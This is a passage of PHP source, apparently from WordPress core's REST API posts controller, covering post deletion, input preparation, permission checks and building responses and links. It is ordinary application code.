* Deletes a single post.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function delete_item( $request ) {
$post = $this->get_post( $request['id'] );
if ( is_wp_error( $post ) ) {
return $post;
}
$id = $post->ID;
$force = (bool) $request['force'];
$supports_trash = ( EMPTY_TRASH_DAYS > 0 );
if ( 'attachment' === $post->post_type ) {
$supports_trash = $supports_trash && MEDIA_TRASH;
}
/**
* Filters whether a post is trashable.
*
* The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
*
* Possible hook names include:
*
* - `rest_post_trashable`
* - `rest_page_trashable`
* - `rest_attachment_trashable`
*
* Pass false to disable Trash support for the post.
*
* @since 4.7.0
*
* @param bool $supports_trash Whether the post type support trashing.
* @param WP_Post $post The Post object being considered for trashing support.
*/
$supports_trash = apply_filters( "rest_{$this->post_type}_trashable", $supports_trash, $post );
if ( ! $this->check_delete_permission( $post ) ) {
return new WP_Error(
'rest_user_cannot_delete_post',
__( 'Sorry, you are not allowed to delete this post.' ),
array( 'status' => rest_authorization_required_code() )
);
}
$request->set_param( 'context', 'edit' );
// If we're forcing, then delete permanently.
if ( $force ) {
$previous = $this->prepare_item_for_response( $post, $request );
$result = wp_delete_post( $id, true );
$response = new WP_REST_Response();
$response->set_data(
array(
'deleted' => true,
'previous' => $previous->get_data(),
)
);
} else {
// If we don't support trashing for this type, error out.
if ( ! $supports_trash ) {
return new WP_Error(
'rest_trash_not_supported',
/* translators: %s: force=true */
sprintf( __( "The post does not support trashing. Set '%s' to delete." ), 'force=true' ),
array( 'status' => 501 )
);
}
// Otherwise, only trash if we haven't already.
if ( 'trash' === $post->post_status ) {
return new WP_Error(
'rest_already_trashed',
__( 'The post has already been deleted.' ),
array( 'status' => 410 )
);
}
/*
* (Note that internally this falls through to `wp_delete_post()`
* if the Trash is disabled.)
*/
$result = wp_trash_post( $id );
$post = get_post( $id );
$response = $this->prepare_item_for_response( $post, $request );
}
if ( ! $result ) {
return new WP_Error(
'rest_cannot_delete',
__( 'The post cannot be deleted.' ),
array( 'status' => 500 )
);
}
/**
* Fires immediately after a single post is deleted or trashed via the REST API.
*
* They dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
*
* Possible hook names include:
*
* - `rest_delete_post`
* - `rest_delete_page`
* - `rest_delete_attachment`
*
* @since 4.7.0
*
* @param WP_Post $post The deleted or trashed post.
* @param WP_REST_Response $response The response data.
* @param WP_REST_Request $request The request sent to the API.
*/
do_action( "rest_delete_{$this->post_type}", $post, $response, $request );
return $response;
}
/**
* Determines the allowed query_vars for a get_items() response and prepares
* them for WP_Query.
*
* @since 4.7.0
*
* @param array $prepared_args Optional. Prepared WP_Query arguments. Default empty array.
* @param WP_REST_Request $request Optional. Full details about the request.
* @return array Items query arguments.
*/
protected function prepare_items_query( $prepared_args = array(), $request = null ) {
$query_args = array();
if ( ! is_array( $prepared_args ) ) {
$prepared_args = array();
}
foreach ( $prepared_args as $key => $value ) {
/**
* Filters the query_vars used in get_items() for the constructed query.
*
* The dynamic portion of the hook name, `$key`, refers to the query_var key.
*
* @since 4.7.0
*
* @param string $value The query_var value.
*/
$query_args[ $key ] = apply_filters( "rest_query_var-{$key}", $value ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
}
if ( 'post' !== $this->post_type || ! isset( $query_args['ignore_sticky_posts'] ) ) {
$query_args['ignore_sticky_posts'] = true;
}
// Map to proper WP_Query orderby param.
if ( isset( $query_args['orderby'] ) && isset( $request['orderby'] ) ) {
$orderby_mappings = array(
'id' => 'ID',
'include' => 'post__in',
'slug' => 'post_name',
'include_slugs' => 'post_name__in',
);
if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) {
$query_args['orderby'] = $orderby_mappings[ $request['orderby'] ];
}
}
return $query_args;
}
/**
* Checks the post_date_gmt or modified_gmt and prepare any post or
* modified date for single post output.
*
* @since 4.7.0
*
* @param string $date_gmt GMT publication time.
* @param string|null $date Optional. Local publication time. Default null.
* @return string|null ISO8601/RFC3339 formatted datetime.
*/
protected function prepare_date_response( $date_gmt, $date = null ) {
// Use the date if passed.
if ( isset( $date ) ) {
return mysql_to_rfc3339( $date );
}
// Return null if $date_gmt is empty/zeros.
if ( '0000-00-00 00:00:00' === $date_gmt ) {
return null;
}
// Return the formatted datetime.
return mysql_to_rfc3339( $date_gmt );
}
/**
* Prepares a single post for create or update.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Request object.
* @return stdClass|WP_Error Post object or WP_Error.
*/
protected function prepare_item_for_database( $request ) {
$prepared_post = new stdClass();
$current_status = '';
// Post ID.
if ( isset( $request['id'] ) ) {
$existing_post = $this->get_post( $request['id'] );
if ( is_wp_error( $existing_post ) ) {
return $existing_post;
}
$prepared_post->ID = $existing_post->ID;
$current_status = $existing_post->post_status;
}
$schema = $this->get_item_schema();
// Post title.
if ( ! empty( $schema['properties']['title'] ) && isset( $request['title'] ) ) {
if ( is_string( $request['title'] ) ) {
$prepared_post->post_title = $request['title'];
} elseif ( ! empty( $request['title']['raw'] ) ) {
$prepared_post->post_title = $request['title']['raw'];
}
}
// Post content.
if ( ! empty( $schema['properties']['content'] ) && isset( $request['content'] ) ) {
if ( is_string( $request['content'] ) ) {
$prepared_post->post_content = $request['content'];
} elseif ( isset( $request['content']['raw'] ) ) {
$prepared_post->post_content = $request['content']['raw'];
}
}
// Post excerpt.
if ( ! empty( $schema['properties']['excerpt'] ) && isset( $request['excerpt'] ) ) {
if ( is_string( $request['excerpt'] ) ) {
$prepared_post->post_excerpt = $request['excerpt'];
} elseif ( isset( $request['excerpt']['raw'] ) ) {
$prepared_post->post_excerpt = $request['excerpt']['raw'];
}
}
// Post type.
if ( empty( $request['id'] ) ) {
// Creating new post, use default type for the controller.
$prepared_post->post_type = $this->post_type;
} else {
// Updating a post, use previous type.
$prepared_post->post_type = get_post_type( $request['id'] );
}
$post_type = get_post_type_object( $prepared_post->post_type );
// Post status.
if (
! empty( $schema['properties']['status'] ) &&
isset( $request['status'] ) &&
( ! $current_status || $current_status !== $request['status'] )
) {
$status = $this->handle_status_param( $request['status'], $post_type );
if ( is_wp_error( $status ) ) {
return $status;
}
$prepared_post->post_status = $status;
}
// Post date.
if ( ! empty( $schema['properties']['date'] ) && ! empty( $request['date'] ) ) {
$current_date = isset( $prepared_post->ID ) ? get_post( $prepared_post->ID )->post_date : false;
$date_data = rest_get_date_with_gmt( $request['date'] );
if ( ! empty( $date_data ) && $current_date !== $date_data[0] ) {
list( $prepared_post->post_date, $prepared_post->post_date_gmt ) = $date_data;
$prepared_post->edit_date = true;
}
} elseif ( ! empty( $schema['properties']['date_gmt'] ) && ! empty( $request['date_gmt'] ) ) {
$current_date = isset( $prepared_post->ID ) ? get_post( $prepared_post->ID )->post_date_gmt : false;
$date_data = rest_get_date_with_gmt( $request['date_gmt'], true );
if ( ! empty( $date_data ) && $current_date !== $date_data[1] ) {
list( $prepared_post->post_date, $prepared_post->post_date_gmt ) = $date_data;
$prepared_post->edit_date = true;
}
}
/*
* Sending a null date or date_gmt value resets date and date_gmt to their
* default values (`0000-00-00 00:00:00`).
*/
if (
( ! empty( $schema['properties']['date_gmt'] ) && $request->has_param( 'date_gmt' ) && null === $request['date_gmt'] ) ||
( ! empty( $schema['properties']['date'] ) && $request->has_param( 'date' ) && null === $request['date'] )
) {
$prepared_post->post_date_gmt = null;
$prepared_post->post_date = null;
}
// Post slug.
if ( ! empty( $schema['properties']['slug'] ) && isset( $request['slug'] ) ) {
$prepared_post->post_name = $request['slug'];
}
// Author.
if ( ! empty( $schema['properties']['author'] ) && ! empty( $request['author'] ) ) {
$post_author = (int) $request['author'];
if ( get_current_user_id() !== $post_author ) {
$user_obj = get_userdata( $post_author );
if ( ! $user_obj ) {
return new WP_Error(
'rest_invalid_author',
__( 'Invalid author ID.' ),
array( 'status' => 400 )
);
}
}
$prepared_post->post_author = $post_author;
}
// Post password.
if ( ! empty( $schema['properties']['password'] ) && isset( $request['password'] ) ) {
$prepared_post->post_password = $request['password'];
if ( '' !== $request['password'] ) {
if ( ! empty( $schema['properties']['sticky'] ) && ! empty( $request['sticky'] ) ) {
return new WP_Error(
'rest_invalid_field',
__( 'A post can not be sticky and have a password.' ),
array( 'status' => 400 )
);
}
if ( ! empty( $prepared_post->ID ) && is_sticky( $prepared_post->ID ) ) {
return new WP_Error(
'rest_invalid_field',
__( 'A sticky post can not be password protected.' ),
array( 'status' => 400 )
);
}
}
}
if ( ! empty( $schema['properties']['sticky'] ) && ! empty( $request['sticky'] ) ) {
if ( ! empty( $prepared_post->ID ) && post_password_required( $prepared_post->ID ) ) {
return new WP_Error(
'rest_invalid_field',
__( 'A password protected post can not be set to sticky.' ),
array( 'status' => 400 )
);
}
}
// Parent.
if ( ! empty( $schema['properties']['parent'] ) && isset( $request['parent'] ) ) {
if ( 0 === (int) $request['parent'] ) {
$prepared_post->post_parent = 0;
} else {
$parent = get_post( (int) $request['parent'] );
if ( empty( $parent ) ) {
return new WP_Error(
'rest_post_invalid_id',
__( 'Invalid post parent ID.' ),
array( 'status' => 400 )
);
}
$prepared_post->post_parent = (int) $parent->ID;
}
}
// Menu order.
if ( ! empty( $schema['properties']['menu_order'] ) && isset( $request['menu_order'] ) ) {
$prepared_post->menu_order = (int) $request['menu_order'];
}
// Comment status.
if ( ! empty( $schema['properties']['comment_status'] ) && ! empty( $request['comment_status'] ) ) {
$prepared_post->comment_status = $request['comment_status'];
}
// Ping status.
if ( ! empty( $schema['properties']['ping_status'] ) && ! empty( $request['ping_status'] ) ) {
$prepared_post->ping_status = $request['ping_status'];
}
if ( ! empty( $schema['properties']['template'] ) ) {
// Force template to null so that it can be handled exclusively by the REST controller.
$prepared_post->page_template = null;
}
/**
* Applies Block Hooks to content-like post types.
*
* Content-like post types are those that support the editor and would benefit
* from Block Hooks functionality. This replaces the individual post type filters
* that were previously hardcoded in default-filters.php.
*
* @since 7.0.0
*/
$content_like_post_types = array( 'post', 'page', 'wp_block', 'wp_navigation' );
/**
* Filters which post types should have Block Hooks applied.
*
* Allows themes and plugins to add or remove post types that should
* have Block Hooks functionality enabled in the REST API.
*
* @since 7.0.0
*
* @param array $content_like_post_types Array of post type names that support Block Hooks.
* @param string $post_type The current post type being processed.
* @param object $prepared_post The prepared post object.
*/
$content_like_post_types = apply_filters( 'rest_block_hooks_post_types', $content_like_post_types, $this->post_type, $prepared_post );
if ( in_array( $this->post_type, $content_like_post_types, true ) ) {
$prepared_post = update_ignored_hooked_blocks_postmeta( $prepared_post );
}
/**
* Filters a post before it is inserted via the REST API.
*
* The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
*
* Possible hook names include:
*
* - `rest_pre_insert_post`
* - `rest_pre_insert_page`
* - `rest_pre_insert_attachment`
*
* @since 4.7.0
*
* @param stdClass $prepared_post An object representing a single post prepared
* for inserting or updating the database.
* @param WP_REST_Request $request Request object.
*/
return apply_filters( "rest_pre_insert_{$this->post_type}", $prepared_post, $request );
}
/**
* Checks whether the status is valid for the given post.
*
* Allows for sending an update request with the current status, even if that status would not be acceptable.
*
* @since 5.6.0
*
* @param string $status The provided status.
* @param WP_REST_Request $request The request object.
* @param string $param The parameter name.
* @return true|WP_Error True if the status is valid, or WP_Error if not.
*/
public function check_status( $status, $request, $param ) {
if ( $request['id'] ) {
$post = $this->get_post( $request['id'] );
if ( ! is_wp_error( $post ) && $post->post_status === $status ) {
return true;
}
}
$args = $request->get_attributes()['args'][ $param ];
return rest_validate_value_from_schema( $status, $args, $param );
}
/**
* Determines validity and normalizes the given status parameter.
*
* @since 4.7.0
*
* @param string $post_status Post status.
* @param WP_Post_Type $post_type Post type.
* @return string|WP_Error Post status or WP_Error if lacking the proper permission.
*/
protected function handle_status_param( $post_status, $post_type ) {
switch ( $post_status ) {
case 'draft':
case 'pending':
break;
case 'private':
if ( ! current_user_can( $post_type->cap->publish_posts ) ) {
return new WP_Error(
'rest_cannot_publish',
__( 'Sorry, you are not allowed to create private posts in this post type.' ),
array( 'status' => rest_authorization_required_code() )
);
}
break;
case 'publish':
case 'future':
if ( ! current_user_can( $post_type->cap->publish_posts ) ) {
return new WP_Error(
'rest_cannot_publish',
__( 'Sorry, you are not allowed to publish posts in this post type.' ),
array( 'status' => rest_authorization_required_code() )
);
}
break;
default:
if ( ! get_post_status_object( $post_status ) ) {
$post_status = 'draft';
}
break;
}
return $post_status;
}
/**
* Determines the featured media based on a request param.
*
* @since 4.7.0
*
* @param int $featured_media Featured Media ID.
* @param int $post_id Post ID.
* @return bool|WP_Error Whether the post thumbnail was successfully deleted, otherwise WP_Error.
*/
protected function handle_featured_media( $featured_media, $post_id ) {
$featured_media = (int) $featured_media;
if ( $featured_media ) {
$result = set_post_thumbnail( $post_id, $featured_media );
if ( $result ) {
return true;
} else {
return new WP_Error(
'rest_invalid_featured_media',
__( 'Invalid featured media ID.' ),
array( 'status' => 400 )
);
}
} else {
return delete_post_thumbnail( $post_id );
}
}
/**
* Checks whether the template is valid for the given post.
*
* @since 4.9.0
*
* @param string $template Page template filename.
* @param WP_REST_Request $request Request.
* @return true|WP_Error True if template is still valid or if the same as existing value, or a WP_Error if template not supported.
*/
public function check_template( $template, $request ) {
if ( ! $template ) {
return true;
}
if ( $request['id'] ) {
$post = get_post( $request['id'] );
$current_template = get_page_template_slug( $request['id'] );
} else {
$post = null;
$current_template = '';
}
// Always allow for updating a post to the same template, even if that template is no longer supported.
if ( $template === $current_template ) {
return true;
}
// If this is a create request, get_post() will return null and wp theme will fallback to the passed post type.
$allowed_templates = wp_get_theme()->get_page_templates( $post, $this->post_type );
if ( isset( $allowed_templates[ $template ] ) ) {
return true;
}
return new WP_Error(
'rest_invalid_param',
/* translators: 1: Parameter, 2: List of valid values. */
sprintf( __( '%1$s is not one of %2$s.' ), 'template', implode( ', ', array_keys( $allowed_templates ) ) )
);
}
/**
* Sets the template for a post.
*
* @since 4.7.0
* @since 4.9.0 Added the `$validate` parameter.
*
* @param string $template Page template filename.
* @param int $post_id Post ID.
* @param bool $validate Whether to validate that the template selected is valid.
*/
public function handle_template( $template, $post_id, $validate = false ) {
if ( $validate && ! array_key_exists( $template, wp_get_theme()->get_page_templates( get_post( $post_id ) ) ) ) {
$template = '';
}
update_post_meta( $post_id, '_wp_page_template', $template );
}
/**
* Updates the post's terms from a REST request.
*
* @since 4.7.0
*
* @param int $post_id The post ID to update the terms form.
* @param WP_REST_Request $request The request object with post and terms data.
* @return null|WP_Error WP_Error on an error assigning any of the terms, otherwise null.
*/
protected function handle_terms( $post_id, $request ) {
$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );
foreach ( $taxonomies as $taxonomy ) {
$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
if ( ! isset( $request[ $base ] ) ) {
continue;
}
$result = wp_set_object_terms( $post_id, $request[ $base ], $taxonomy->name );
if ( is_wp_error( $result ) ) {
return $result;
}
}
return null;
}
/**
* Checks whether current user can assign all terms sent with the current request.
*
* @since 4.7.0
*
* @param WP_REST_Request $request The request object with post and terms data.
* @return bool Whether the current user can assign the provided terms.
*/
protected function check_assign_terms_permission( $request ) {
$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );
foreach ( $taxonomies as $taxonomy ) {
$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
if ( ! isset( $request[ $base ] ) ) {
continue;
}
foreach ( (array) $request[ $base ] as $term_id ) {
// Invalid terms will be rejected later.
if ( ! get_term( $term_id, $taxonomy->name ) ) {
continue;
}
if ( ! current_user_can( 'assign_term', (int) $term_id ) ) {
return false;
}
}
}
return true;
}
/**
* Checks if a given post type can be viewed or managed.
*
* @since 4.7.0
*
* @param WP_Post_Type|string $post_type Post type name or object.
* @return bool Whether the post type is allowed in REST.
*/
protected function check_is_post_type_allowed( $post_type ) {
if ( ! is_object( $post_type ) ) {
$post_type = get_post_type_object( $post_type );
}
if ( ! empty( $post_type ) && ! empty( $post_type->show_in_rest ) ) {
return true;
}
return false;
}
/**
* Checks if a post can be read.
*
* Correctly handles posts with the inherit status.
*
* @since 4.7.0
*
* @param WP_Post $post Post object.
* @return bool Whether the post can be read.
*/
public function check_read_permission( $post ) {
$post_type = get_post_type_object( $post->post_type );
if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
return false;
}
// Is the post readable?
if ( 'publish' === $post->post_status || current_user_can( 'read_post', $post->ID ) ) {
return true;
}
$post_status_obj = get_post_status_object( $post->post_status );
if ( $post_status_obj && $post_status_obj->public ) {
return true;
}
// Can we read the parent if we're inheriting?
if ( 'inherit' === $post->post_status && $post->post_parent > 0 ) {
$parent = get_post( $post->post_parent );
if ( $parent ) {
return $this->check_read_permission( $parent );
}
}
/*
* If there isn't a parent, but the status is set to inherit, assume
* it's published (as per get_post_status()).
*/
if ( 'inherit' === $post->post_status ) {
return true;
}
return false;
}
/**
* Checks if a post can be edited.
*
* @since 4.7.0
*
* @param WP_Post $post Post object.
* @return bool Whether the post can be edited.
*/
protected function check_update_permission( $post ) {
$post_type = get_post_type_object( $post->post_type );
if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
return false;
}
return current_user_can( 'edit_post', $post->ID );
}
/**
* Checks if a post can be created.
*
* @since 4.7.0
*
* @param WP_Post $post Post object.
* @return bool Whether the post can be created.
*/
protected function check_create_permission( $post ) {
$post_type = get_post_type_object( $post->post_type );
if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
return false;
}
return current_user_can( $post_type->cap->create_posts );
}
/**
* Checks if a post can be deleted.
*
* @since 4.7.0
*
* @param WP_Post $post Post object.
* @return bool Whether the post can be deleted.
*/
protected function check_delete_permission( $post ) {
$post_type = get_post_type_object( $post->post_type );
if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
return false;
}
return current_user_can( 'delete_post', $post->ID );
}
/**
* Prepares a single post output for response.
*
* @since 4.7.0
* @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
*
* @global WP_Post $post Global post object.
*
* @param WP_Post $item Post object.
* @param WP_REST_Request $request Request object.
* @return WP_REST_Response Response object.
*/
public function prepare_item_for_response( $item, $request ) {
// Restores the more descriptive, specific name for use within this method.
$post = $item;
$GLOBALS['post'] = $post;
setup_postdata( $post );
// Don't prepare the response body for HEAD requests.
if ( $request->is_method( 'HEAD' ) ) {
/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
return apply_filters( "rest_prepare_{$this->post_type}", new WP_REST_Response( array() ), $post, $request );
}
$fields = $this->get_fields_for_response( $request );
// Base fields for every post.
$data = array();
if ( rest_is_field_included( 'id', $fields ) ) {
$data['id'] = $post->ID;
}
if ( rest_is_field_included( 'date', $fields ) ) {
$data['date'] = $this->prepare_date_response( $post->post_date_gmt, $post->post_date );
}
if ( rest_is_field_included( 'date_gmt', $fields ) ) {
/*
* For drafts, `post_date_gmt` may not be set, indicating that the date
* of the draft should be updated each time it is saved (see #38883).
* In this case, shim the value based on the `post_date` field
* with the site's timezone offset applied.
*/
if ( '0000-00-00 00:00:00' === $post->post_date_gmt ) {
$post_date_gmt = get_gmt_from_date( $post->post_date );
} else {
$post_date_gmt = $post->post_date_gmt;
}
$data['date_gmt'] = $this->prepare_date_response( $post_date_gmt );
}
if ( rest_is_field_included( 'guid', $fields ) ) {
$data['guid'] = array(
/** This filter is documented in wp-includes/post-template.php */
'rendered' => apply_filters( 'get_the_guid', $post->guid, $post->ID ),
'raw' => $post->guid,
);
}
if ( rest_is_field_included( 'modified', $fields ) ) {
$data['modified'] = $this->prepare_date_response( $post->post_modified_gmt, $post->post_modified );
}
if ( rest_is_field_included( 'modified_gmt', $fields ) ) {
/*
* For drafts, `post_modified_gmt` may not be set (see `post_date_gmt` comments
* above). In this case, shim the value based on the `post_modified` field
* with the site's timezone offset applied.
*/
if ( '0000-00-00 00:00:00' === $post->post_modified_gmt ) {
$post_modified_gmt = gmdate( 'Y-m-d H:i:s', strtotime( $post->post_modified ) - (int) ( (float) get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) );
} else {
$post_modified_gmt = $post->post_modified_gmt;
}
$data['modified_gmt'] = $this->prepare_date_response( $post_modified_gmt );
}
if ( rest_is_field_included( 'password', $fields ) ) {
$data['password'] = $post->post_password;
}
if ( rest_is_field_included( 'slug', $fields ) ) {
$data['slug'] = $post->post_name;
}
if ( rest_is_field_included( 'status', $fields ) ) {
$data['status'] = $post->post_status;
}
if ( rest_is_field_included( 'type', $fields ) ) {
$data['type'] = $post->post_type;
}
if ( rest_is_field_included( 'link', $fields ) ) {
$data['link'] = get_permalink( $post->ID );
}
if ( rest_is_field_included( 'title', $fields ) ) {
$data['title'] = array();
}
if ( rest_is_field_included( 'title.raw', $fields ) ) {
$data['title']['raw'] = $post->post_title;
}
if ( rest_is_field_included( 'title.rendered', $fields ) ) {
add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
add_filter( 'private_title_format', array( $this, 'protected_title_format' ) );
$data['title']['rendered'] = get_the_title( $post->ID );
remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
remove_filter( 'private_title_format', array( $this, 'protected_title_format' ) );
}
$has_password_filter = false;
if ( $this->can_access_password_content( $post, $request ) ) {
$this->password_check_passed[ $post->ID ] = true;
// Allow access to the post, permissions already checked before.
add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 );
$has_password_filter = true;
}
if ( rest_is_field_included( 'content', $fields ) ) {
$data['content'] = array();
}
if ( rest_is_field_included( 'content.raw', $fields ) ) {
$data['content']['raw'] = $post->post_content;
}
if ( rest_is_field_included( 'content.rendered', $fields ) ) {
/** This filter is documented in wp-includes/post-template.php */
$data['content']['rendered'] = post_password_required( $post ) ? '' : apply_filters( 'the_content', $post->post_content );
}
if ( rest_is_field_included( 'content.protected', $fields ) ) {
$data['content']['protected'] = (bool) $post->post_password;
}
if ( rest_is_field_included( 'content.block_version', $fields ) ) {
$data['content']['block_version'] = block_version( $post->post_content );
}
if ( rest_is_field_included( 'excerpt', $fields ) ) {
if ( isset( $request['excerpt_length'] ) ) {
$excerpt_length = $request['excerpt_length'];
$override_excerpt_length = static function () use ( $excerpt_length ) {
return $excerpt_length;
};
add_filter(
'excerpt_length',
$override_excerpt_length,
PHP_INT_MAX
);
}
/** This filter is documented in wp-includes/post-template.php */
$excerpt = apply_filters( 'get_the_excerpt', $post->post_excerpt, $post );
/** This filter is documented in wp-includes/post-template.php */
$excerpt = apply_filters( 'the_excerpt', $excerpt );
$data['excerpt'] = array(
'raw' => $post->post_excerpt,
'rendered' => post_password_required( $post ) ? '' : $excerpt,
'protected' => (bool) $post->post_password,
);
if ( isset( $override_excerpt_length ) ) {
remove_filter(
'excerpt_length',
$override_excerpt_length,
PHP_INT_MAX
);
}
}
if ( $has_password_filter ) {
// Reset filter.
remove_filter( 'post_password_required', array( $this, 'check_password_required' ) );
}
if ( rest_is_field_included( 'author', $fields ) ) {
$data['author'] = (int) $post->post_author;
}
if ( rest_is_field_included( 'featured_media', $fields ) ) {
$data['featured_media'] = (int) get_post_thumbnail_id( $post->ID );
}
if ( rest_is_field_included( 'parent', $fields ) ) {
$data['parent'] = (int) $post->post_parent;
}
if ( rest_is_field_included( 'menu_order', $fields ) ) {
$data['menu_order'] = (int) $post->menu_order;
}
if ( rest_is_field_included( 'comment_status', $fields ) ) {
$data['comment_status'] = $post->comment_status;
}
if ( rest_is_field_included( 'ping_status', $fields ) ) {
$data['ping_status'] = $post->ping_status;
}
if ( rest_is_field_included( 'sticky', $fields ) ) {
$data['sticky'] = is_sticky( $post->ID );
}
if ( rest_is_field_included( 'template', $fields ) ) {
$template = get_page_template_slug( $post->ID );
if ( $template ) {
$data['template'] = $template;
} else {
$data['template'] = '';
}
}
if ( rest_is_field_included( 'format', $fields ) ) {
$data['format'] = get_post_format( $post->ID );
// Fill in blank post format.
if ( empty( $data['format'] ) ) {
$data['format'] = 'standard';
}
}
if ( rest_is_field_included( 'meta', $fields ) ) {
$data['meta'] = $this->meta->get_value( $post->ID, $request );
}
$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );
foreach ( $taxonomies as $taxonomy ) {
$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
if ( rest_is_field_included( $base, $fields ) ) {
$terms = get_the_terms( $post, $taxonomy->name );
$data[ $base ] = $terms ? array_values( wp_list_pluck( $terms, 'term_id' ) ) : array();
}
}
$post_type_obj = get_post_type_object( $post->post_type );
if ( is_post_type_viewable( $post_type_obj ) && $post_type_obj->public ) {
$permalink_template_requested = rest_is_field_included( 'permalink_template', $fields );
$generated_slug_requested = rest_is_field_included( 'generated_slug', $fields );
if ( $permalink_template_requested || $generated_slug_requested ) {
if ( ! function_exists( 'get_sample_permalink' ) ) {
require_once ABSPATH . 'wp-admin/includes/post.php';
}
$sample_permalink = get_sample_permalink( $post->ID, $post->post_title, '' );
if ( $permalink_template_requested ) {
$data['permalink_template'] = $sample_permalink[0];
}
if ( $generated_slug_requested ) {
$data['generated_slug'] = $sample_permalink[1];
}
}
if ( rest_is_field_included( 'class_list', $fields ) ) {
$data['class_list'] = get_post_class( array(), $post->ID );
}
}
$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
$data = $this->add_additional_fields_to_object( $data, $request );
$data = $this->filter_response_by_context( $data, $context );
// Wrap the data in a response object.
$response = rest_ensure_response( $data );
if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
$links = $this->prepare_links( $post );
$response->add_links( $links );
if ( ! empty( $links['self']['href'] ) ) {
$actions = $this->get_available_actions( $post, $request );
$self = $links['self']['href'];
foreach ( $actions as $rel ) {
$response->add_link( $rel, $self );
}
}
}
/**
* Applies Block Hooks to content-like post types for REST response.
*
* This replaces the individual post type filters that were previously hardcoded
* in default-filters.php.
*
* @since 7.0.0
*/
$content_like_post_types = array( 'post', 'page', 'wp_block', 'wp_navigation' );
/**
* Filters which post types should have Block Hooks applied.
*
* Allows themes and plugins to add or remove post types that should
* have Block Hooks functionality enabled in the REST API.
*
* @since 7.0.0
*
* @param array $content_like_post_types Array of post type names that support Block Hooks.
* @param string $post_type The current post type being processed.
* @param WP_Post $post The post object.
*/
$content_like_post_types = apply_filters( 'rest_block_hooks_post_types', $content_like_post_types, $this->post_type, $post );
if ( in_array( $this->post_type, $content_like_post_types, true ) ) {
$response = insert_hooked_blocks_into_rest_response( $response, $post );
}
/**
* Filters the post data for a REST API response.
*
* The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
*
* Possible hook names include:
*
* - `rest_prepare_post`
* - `rest_prepare_page`
* - `rest_prepare_attachment`
*
* @since 4.7.0
*
* @param WP_REST_Response $response The response object.
* @param WP_Post $post Post object.
* @param WP_REST_Request $request Request object.
*/
return apply_filters( "rest_prepare_{$this->post_type}", $response, $post, $request );
}
/**
* Overwrites the default protected and private title format.
*
* By default, WordPress will show password protected or private posts with a title of
* "Protected: %s" or "Private: %s", as the REST API communicates the status of a post
* in a machine-readable format, we remove the prefix.
*
* @since 4.7.0
*
* @return string Title format.
*/
public function protected_title_format() {
return '%s';
}
/**
* Prepares links for the request.
*
* @since 4.7.0
*
* @param WP_Post $post Post object.
* @return array Links for the given post.
*/
protected function prepare_links( $post ) {
// Entity meta.
$links = array(
'self' => array(
'href' => rest_url( rest_get_route_for_post( $post->ID ) ),
),
'collection' => array(
'href' => rest_url( rest_get_route_for_post_type_items( $this->post_type ) ),
),
'about' => array(
'href' => rest_url( 'wp/v2/types/' . $this->post_type ),
),
);
if ( ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'author' ) )
&& ! empty( $post->post_author ) ) {
$links['author'] = array(
'href' => rest_url( 'wp/v2/users/' . $post->post_author ),
'embeddable' => true,
);
}
if ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'comments' ) ) {
$replies_url = rest_url( 'wp/v2/comments' );
$replies_url = add_query_arg( 'post', $post->ID, $replies_url );
$links['replies'] = array(
'href' => $replies_url,
'embeddable' => true,
);
}
if ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'revisions' ) ) {
$revisions = wp_get_latest_revision_id_and_total_count( $post->ID );
$revisions_count = ! is_wp_error( $revisions ) ? $revisions['count'] : 0;
$revisions_base = sprintf( '/%s/%s/%d/revisions', $this->namespace, $this->rest_base, $post->ID );
$links['version-history'] = array(
'href' => rest_url( $revisions_base ),
'count' => $revisions_count,
);
if ( $revisions_count > 0 ) {
$links['predecessor-version'] = array(
'href' => rest_url( $revisions_base . '/' . $revisions['latest_id'] ),
'id' => $revisions['latest_id'],
);
}
}
$post_type_obj = get_post_type_object( $post->post_type );
if ( $post_type_obj->hierarchical && ! empty( $post->post_parent ) ) {
$links['up'] = array(
'href' => rest_url( rest_get_route_for_post( $post->post_parent ) ),
'embeddable' => true,
);
}
// If we have a featured media, add that.
$featured_media = get_post_thumbnail_id( $post->ID );
if ( $featured_media && ( 'publish' === get_post_status( $featured_media ) || current_user_can( 'read_post', $featured_media ) ) ) {
$image_url = rest_url( rest_get_route_for_post( $featured_media ) );
$links['https://api.w.org/featuredmedia'] = array(
'href' => $image_url,
'embeddable' => true,
);
}
if ( ! in_array( $post->post_type, array( 'attachment', 'nav_menu_item', 'revision' ), true ) ) {
$attachments_url = rest_url( rest_get_route_for_post_type_items( 'attachment' ) );
